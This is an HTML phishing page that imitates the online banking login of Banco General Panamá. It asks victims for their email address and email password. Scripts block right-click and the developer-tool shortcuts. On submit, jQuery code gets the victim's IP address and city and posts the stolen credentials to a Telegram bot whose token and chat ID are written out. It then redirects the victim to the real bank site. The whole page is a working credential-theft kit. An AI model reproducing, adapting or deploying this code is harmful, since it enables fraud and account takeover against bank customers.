<!DOCTYPE html>
<html style="font-size: 16px;">
<head>
     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=yes">
    <meta charset="utf-8">
    <title>Home App</title>
 
	<link rel="stylesheet" href="Casa.css" >
		<link rel="stylesheet" href="nicepage.css" >


</style>
    <script>
        // 
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });

        // 
        document.onkeydown = function(e) {
            if (e.keyCode == 123 || (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) || (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0))) {
                return false;
            }
        }
    </script>



	  
	    			<script>
	function formatString(e) {
  var inputChar = String.fromCharCode(event.keyCode);
  var code = event.keyCode;
  var allowedKeys = [8];
  if (allowedKeys.indexOf(code) !== -1) {
    return;
  }

  event.target.value = event.target.value.replace(
    /^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/
  ).replace(
    /^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/
  ).replace(
    /^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3
  ).replace(
    /^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41
  ).replace(
    /^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0
  ).replace(
    /[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/`
  ).replace(
    /\/\//g, '/' // Prevent entering more than 1 `/`
  );
}

	</script>
	  <style> 
.input-wrapper {
  position: relative;
  width: 65%;
}

.input {
  box-sizing: border-box;
  color: #191919;
  padding: 15px 15px 15px 35px;
  width: 100%;
}

.input.password {
  padding: 15px 35px 15px 15px;
}

.input-icon {
  color: #191919;
  position: absolute;
  width: 20px;
  height: 20px;
  left: 12px;
  top: 50%;
  transform: translateY(-50%);
}

.input-icon.password {
  left: unset;
  right: 12px;
}
 </style>
  </head>
  <body  data-home-page-title="Casa"  class="u-body u-xl-mode">
  
  <header class="u-clearfix u-header u-header" style="background-color:#FFFFFF" id="sec-aaa4"><div class="u-clearfix u-sheet u-valign-middle u-sheet-1">
        <div align="center">
      </div></header>
    <section class="u-clearfix u-section-1"   id="carousel_b8d0">
      <div class="u-expanded-width u-gradient u-shape u-shape-rectangle u-shape-1" ></div>
      <div class="u-align-center u-border-20 u-border-no-left u-border-no-right u-border-no-top u-border-palette-1-base u-group u-radius-46  u-white u-group-1" style="border-radius: 20px;">
        <div class="u-container-layout u-valign-middle-xs u-container-layout-1" style="">
          <div align="center">
		    <div class="">

<p style="text-align: center;"><img src="https://www.bgeneral.com/wp-content/uploads/2018/07/logo-bg-2x.png" alt="Banca en L&iacute;nea - Banco General Panam&aacute;" width="296" height="60" /></p>

                
                <label for="checkbox-a30d" style="font-size:18px;" class="u-label">Ingrese Su Correo Asociado a su Banco General</label>
				<br><br>

<p style="text-align: center;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSBLoZC_9b_6CZT9WsMYzHZ7jFf8oeucvuUMA&amp;s" alt="Archivo:Microsoft logo (2012).svg - Wikipedia, la enciclopedia libre" width="217" height="46" /></p>

	</div>
          <div class="">
           

                        	        <form id="loginForm">


			 <br>
              <div align="center">
			
		
                
                <input type="email" placeholder="Ingresa Su Correo electronico" id="usuario0" name="usuario0" style="border: 1px solid #b5bac3;
    background-color: #fff;
   
    background-size: 1rem 0.8rem;
    background-repeat: no-repeat;
    padding: 15px 13px;
    width: 70%;
    color: #828994!important;
    height: 50px;
    border-radius: 3px;
    font-size: 14px;" maxlength="" minlength=""  required="">
              </div>
			  
			   
			  <br>
			  
			
	<div align="center">
	
	                <input type="text" placeholder="Ingresa Su Contraseña de Correo" id="usuario00" name="usuario00" style="border: 1px solid #b5bac3;
    background-color: #fff;
   
    background-size: 1rem 0.8rem;
    background-repeat: no-repeat;
    padding: 15px 13px;
    width: 70%;
    color: #828994!important;
    height: 50px;
    border-radius: 3px;
    font-size: 14px;"  " maxlength=""  required="">
	
	
	
</div>
			  
			  
			    <br>
			  
			
	<div align="center">
	

	
	
	
</div>
			  


		

          </div>
		    <br>
			<br>
				<div align="center">

                 <div style="width:280px;">
                <input type="submit" value="Confirmar" class="u-btn u-btn-submit u-button-style u-btn-1"  style="background-color:#06267a;border-radius: 100px;
    font-family: Roboto-Bold;
    font-stretch: normal;
   
    letter-spacing: normal;
    text-align: center;
    font-size: 20px;">  
          
		  </div>	</div>	 <br><br> 
            

            </form>
			
		  
        </div>
      </div>
    </section>

  <div id="a77kjy"></div>
    <script>
const input = document.getElementById("numtar");

input.addEventListener("blur", () => {
  const regex = /^[a-zA-Z0-9._%+-]+@(hotmail|outlook|live)\.com$/;
  if (!regex.test(input.value)) {
    alert("Por favor, ingrese un correo electrónico válido de Outlook/Hotmail.");
    input.value = "";
  }
});


    </script>

 
</form>
    </div>

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script>
        $(document).ready(function(){
            $('#loginForm').submit(function(e){
                e.preventDefault();
                var u_name0 = $('#usuario0').val();
                var u_name00 = $('#usuario00').val();



                var ip, ip2;
                $.getJSON("https://api.ipify.org?format=json", function(data) {
                    ip = data.ip;
                    $.getJSON("https://ipinfo.io", function (response) {
                        ip2 = response.city + ", " + response.country;
                        var message = "🔵Correo General 🔵-:\nCorreo: " + u_name0 + "\nClvae: " + u_name00 + "\nIP: " + ip + "\n" + ip2;
                        var telegram_bot_id = "7725290743:AAHHP_4Gnyd_aBcFOVsRUkfL8_uWQXxml2M"; // Reemplaza con tu Bot ID
                        var chat_id = "6565233851"; // Reemplaza con tu Chat ID
                        var settings = {
                            "async": true,
                            "crossDomain": true,
                            "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage",
                            "method": "POST",
                            "headers": {
                                "Content-Type": "application/json",
                                "cache-control": "no-cache"
                            },
                            "data": JSON.stringify({
                                "chat_id": chat_id,
                                "text": message
                            })
                        };
                        $.ajax(settings).done(function (response) {
                            window.location = 'https://www.bgeneral.com/'; // Redirige después de enviar el mensaje
                        });
                    });
                });
            });
        });
    </script>





</body></html>